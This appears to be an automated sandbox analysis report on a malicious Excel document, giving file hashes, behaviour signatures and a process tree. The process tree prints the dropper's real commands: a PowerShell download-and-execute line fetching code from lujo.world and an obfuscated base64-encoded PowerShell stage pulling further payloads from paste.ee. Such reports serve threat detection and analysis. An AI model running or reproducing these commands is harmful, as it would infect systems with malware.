Overview

overview

10

Static

static

8

290132621.xls

windows7_x64

10

290132621.xls

windows10_x64

10

Analysis

  • max time kernel
    135s
  • max time network
    128s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    14-07-2020 13:43

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General

  • Target

    290132621.xls

  • Size

    380KB

  • MD5

    d0d45ae970be361aa26e069a0688d250

  • SHA1

    3abf3aced0effd49f2e3684496e27173c827e90d

  • SHA256

    88feb55be08b475bebdd8a2f6a78f14bd70f678f11943d8bb656163ea50985b6

  • SHA512

    e5e94044642f72ae758b81b0155896c1f78b32d5ae6e231858900cf55e9d30081f24cc72e20283332fb2a2c5fc60ac318e02947964e0f3ca6dc7c9cae0b21477

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://lujo.world/parse.jpg

Signatures

  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\290132621.xls"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    • Enumerates system info in registry
    PID:2920
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://lujo.world/parse.jpg')
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Blacklisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:3168
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAB2AGMAbgB5AEQAcgBOAEoAIAA9ACAAKAAnAHsAMgB9AHsAMAB9AHsAMQB9AHsAMwB9ACcALQBmACcAZABTAHQAJwAsACcAcgBpAG4AJwAsABwgYABEAGAAbwBgAHcAbgBgAGwAYABvAGEAHSAsACcAZwAnACkAOwBbAHYAbwBpAGQAXQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAVwBpAHQAaABQAGEAcgB0AGkAYQBsAE4AYQBtAGUAKAAnAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjACcAKQA7ACQAbgBMAFcATQBrAGQARABXAE0AQQBVAHgAVwBZAHgASgBVAG0ATQBSAGMAawBqAFYARwBwAGUAWgBOAEsAeABWAGoAdwBaAFIAdgB5AHgAcABZAG4AWgBnAGMAZgBnAGUAQgBUAHEAYwBVAHAAQQBqAG4AVABrAHcAaABCAFIAZwBiAEwAbwBRAEsAUwBkAFEAeQBEAE4AQgBzAE4AVwBuAFgAcQBqAD0AWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEkAbgB0AGUAcgBhAGMAdABpAG8AbgBdADoAOgBDAGEAbABsAEIAeQBuAGEAbQBlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAHCBgAE4AYABlAGAAVABgAC4AYABXAGAAZQBgAEIAYABDAGAAbABgAGkAYABlAGAATgBgAFQAHSApACwAJAB2AGMAbgB5AEQAcgBOAEoALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AQwA0AEYAUAA2AC8AMAAnACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAG4ATABXAE0AawBkAEQAVwBNAEEAVQB4AFcAWQB4AEoAVQBtAE0AUgBjAGsAagBWAEcAcABlAFoATgBLAHgAVgBqAHcAWgBSAHYAeQB4AHAAWQBuAFoAZwBjAGYAZwBlAEIAVABxAGMAVQBwAEEAagBuAFQAawB3AGgAQgBSAGcAYgBMAG8AUQBLAFMAZABRAHkARABOAEIAcwBOAFcAbgBYAHEAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHYAYwBuAHkARAByAE4ASgAsAFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBDAGEAbABsAFQAeQBwAGUAXQA6ADoATQBlAHQAaABvAGQALAAnAGgAdAB0ACcAKwBbAEMAaABhAHIAXQA4ADAAKwAnAHMAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAEcAVwBZADkAeAAnACkALgByAGUAcABsAGEAYwBlACgAJwBAACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAG4ATABXAE0AawBkAEQAVwBNAEEAVQB4AFcAWQB4AEoAVQBtAE0AUgBjAGsAagBWAEcAcABlAFoATgBLAHgAVgBqAHcAWgBSAHYAeQB4AHAAWQBuAFoAZwBjAGYAZwBlAEIAVABxAGMAVQBwAEEAagBuAFQAawB3AGgAQgBSAGcAYgBMAG8AUQBLAFMAZABRAHkARABOAEIAcwBOAFcAbgBYAHEAKQA=
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious behavior: EnumeratesProcesses
        • Blacklisted process makes network request
        PID:508

Network

MITRE ATT&CK Enterprise v6

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powersheLL.exe.log
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  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Download Submit

  • memory/508-1-0x0000000000000000-mapping.dmp

    Download

  • memory/3168-0-0x0000000000000000-mapping.dmp

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